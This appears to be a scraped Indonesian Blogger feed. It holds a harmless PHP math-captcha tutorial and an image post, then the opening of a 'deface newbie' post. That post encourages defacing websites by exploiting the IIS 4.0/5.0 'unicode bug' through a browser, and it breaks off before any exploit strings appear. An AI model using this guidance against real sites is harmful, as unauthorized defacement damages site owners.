<a href="http://www.agacry.com/"><span style="color: blue; font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">?</span></a><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></div>
<table border="0" cellpadding="0" cellspacing="0" class="MsoNormalTable" style="mso-cellspacing: 0in; mso-padding-alt: 0in 0in 0in 0in; mso-yfti-tbllook: 1184;">
<tbody>
<tr style="mso-yfti-firstrow: yes; mso-yfti-irow: 0; mso-yfti-lastrow: yes;">
<td style="padding: 0in 0in 0in 0in;"><div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">1</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">2</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">3</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">4</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">5</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">6</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">7</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">8</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">9</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">10</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">11</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">12</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">13</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">14</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">15</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">16</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">17</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">18</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">19</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">20</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">21</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">22</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">23</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">24</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">25</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">26</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">27</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">28</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">29</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">30</span></span></div>
</td>
<td style="padding: 0in 0in 0in 0in;"><div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";"><?php</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">class</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">Captha
{</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">var</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$range</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">=
'5-99'; // Jangkauan 5 sampai 99</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">function</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">Captha(){</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$code</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">=
$this->getCode();</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$_SESSION['c_1'] =
$code[0];</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$_SESSION['c_2'] =
$code[1];</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$_SESSION['code'] =
$code[2];</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">}</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">function</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">getCode(){</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$r</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">=
explode('-', $this->range);</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$result</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">=
mt_rand($r[0], $r[1]);</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$var_1</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">=
mt_rand($r[0], $result);</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$var_2</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">=
$result</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">- $var_1;</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$code</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">=
array($var_1, $var_2, $result);</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">return</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$code;</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">}</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">}</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">?></span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
</td>
</tr>
</tbody></table>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">Nah, untuk memanggilnya Anda buat
file coba.php dalam folder yang sama dengan </span><span style="color: blue;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">captha.php</span></span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> tadi dan
tinggal masukkan kode seperti dibawah:</span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<a href="http://www.agacry.com/"><span style="color: blue; font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"><br /></span></a><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></div>
<table border="0" cellpadding="0" cellspacing="0" class="MsoNormalTable" style="mso-cellspacing: 0in; mso-padding-alt: 0in 0in 0in 0in; mso-yfti-tbllook: 1184;">
<tbody>
<tr style="mso-yfti-firstrow: yes; mso-yfti-irow: 0; mso-yfti-lastrow: yes;">
<td style="padding: 0in 0in 0in 0in;"><div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">1</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">2</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">3</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">4</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">5</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">6</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">7</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">8</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: red;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">9</span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"><span style="color: red;">10</span></span></div>
</td>
<td style="padding: 0in 0in 0in 0in;"><div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";"><?php</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">session_start();</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">include</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">'captha.php';</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$code</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">=
new</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">Captha();</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">echo</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"> </span><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">$_SESSION['c_1'].'
+ '.$_SESSION['c_2'].' = '.$_SESSION['code'];</span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0in;">
<span style="color: lime;"><span style="font-family: "Courier New"; font-size: 10.0pt; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: "Times New Roman";">?></span></span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";"></span></div>
</td>
</tr>
</tbody></table>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span style="color: blue;"><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">Jadinya seperti ini:</span></span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman";">16 + 12 = 28</span></div>
Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-17358669651706646092012-10-19T20:22:00.001-07:002012-10-19T20:22:19.173-07:00<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ4QRu7t5d5yGjK5HiPHqj0V1q20ho7M7Xqxf0q9V3qRbPLrU02uVu63rZvVES0StRL1XHGisWRJC2TxS7eqnySo1ItshBfN_w6A5dAyn6IcvDMdSgxw_FStlMBpqh_JHI3gkLTwilAooD/s1600/avatar2610426_26.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ4QRu7t5d5yGjK5HiPHqj0V1q20ho7M7Xqxf0q9V3qRbPLrU02uVu63rZvVES0StRL1XHGisWRJC2TxS7eqnySo1ItshBfN_w6A5dAyn6IcvDMdSgxw_FStlMBpqh_JHI3gkLTwilAooD/s1600/avatar2610426_26.gif" /></a></div>
<br />
<a name='more'></a><br />Anonymoushttp://www.blogger.com/profile/15103153041062890796noreply@blogger.com0tag:blogger.com,1999:blog-2256760488114533969.post-64136398941154218902012-10-03T11:20:00.000-07:002012-10-24T11:23:41.942-07:00deface newbiePada posting ini kita coba membahas "deface website" apa itu ?? Deface
adalah kegiatan untuk mengganti ataupun merubah tampilan halaman depan
sebuah situs. Tentu saja prosesnya ilakukan dengan memanfaatkan
kelemahan dari situs tersebut, sehingga kalo sob adalah web master dan
sob ngerubah tampilan halaman situs yang sob punya tentu saja itu nggak
bisa disebut deface...heheheh. Banyak yang bertanya "gimana sich
nge-deface situs?" proses deface dilakukan dengan memanfaatkan lubang
(hole) yang terdapat pada server tempat situs itu berada. Sehingga hal
pertama yang harus kalian ketahui untuk melakukan proses deface adalah
OS (Operating System) dari server situs tersebut. Hal ini karena
karakteristik dari tiap OS yang berbeda-beda, contohnya antara IIS
dengan BSD tentu saja sangat berbeda apabila kita ingin melakukan deface
diantara kedua OS tsb. Operating System atau OS biasanya kalo kita
kelompikin ke 2 keluarga besar,yaitu :<br />
<br />
1. IIS (server untuk microsoft, dkk)<br />
2. Unix(linux,BSD,IRIX,SOLARIS,dsb)<br />
<br />
elalui
tutor ini saya teh hanya ingin berbagi pengalaman mengenai cara
men-deface website yang menggunakan Microsoft Internet Information
Server atau Microsoft IIS. Harap DeFaceR (sebutan bagi org yg suka
deface..;p) ketahui...Microsoft Internet Information Server atau MS IIS
4.0/5.0 memiliki suatu bug yang dinamakan "unicode bug". Sayah tidak
akan menjelaskan panjang lebar mengenai "unicode bug" ini karena sayah
takut salah menjelaskan (ssSSTTtHHH!! gn bilang sapa2 yah sebenernyah
sayah teh emang gak tau ...ehehehheehhe..;p~). Yang jelas dengan bug ini
kita bisa mengeksplorasi komputer target dengan hanya menggunakan
internet browser.<br />
<br />
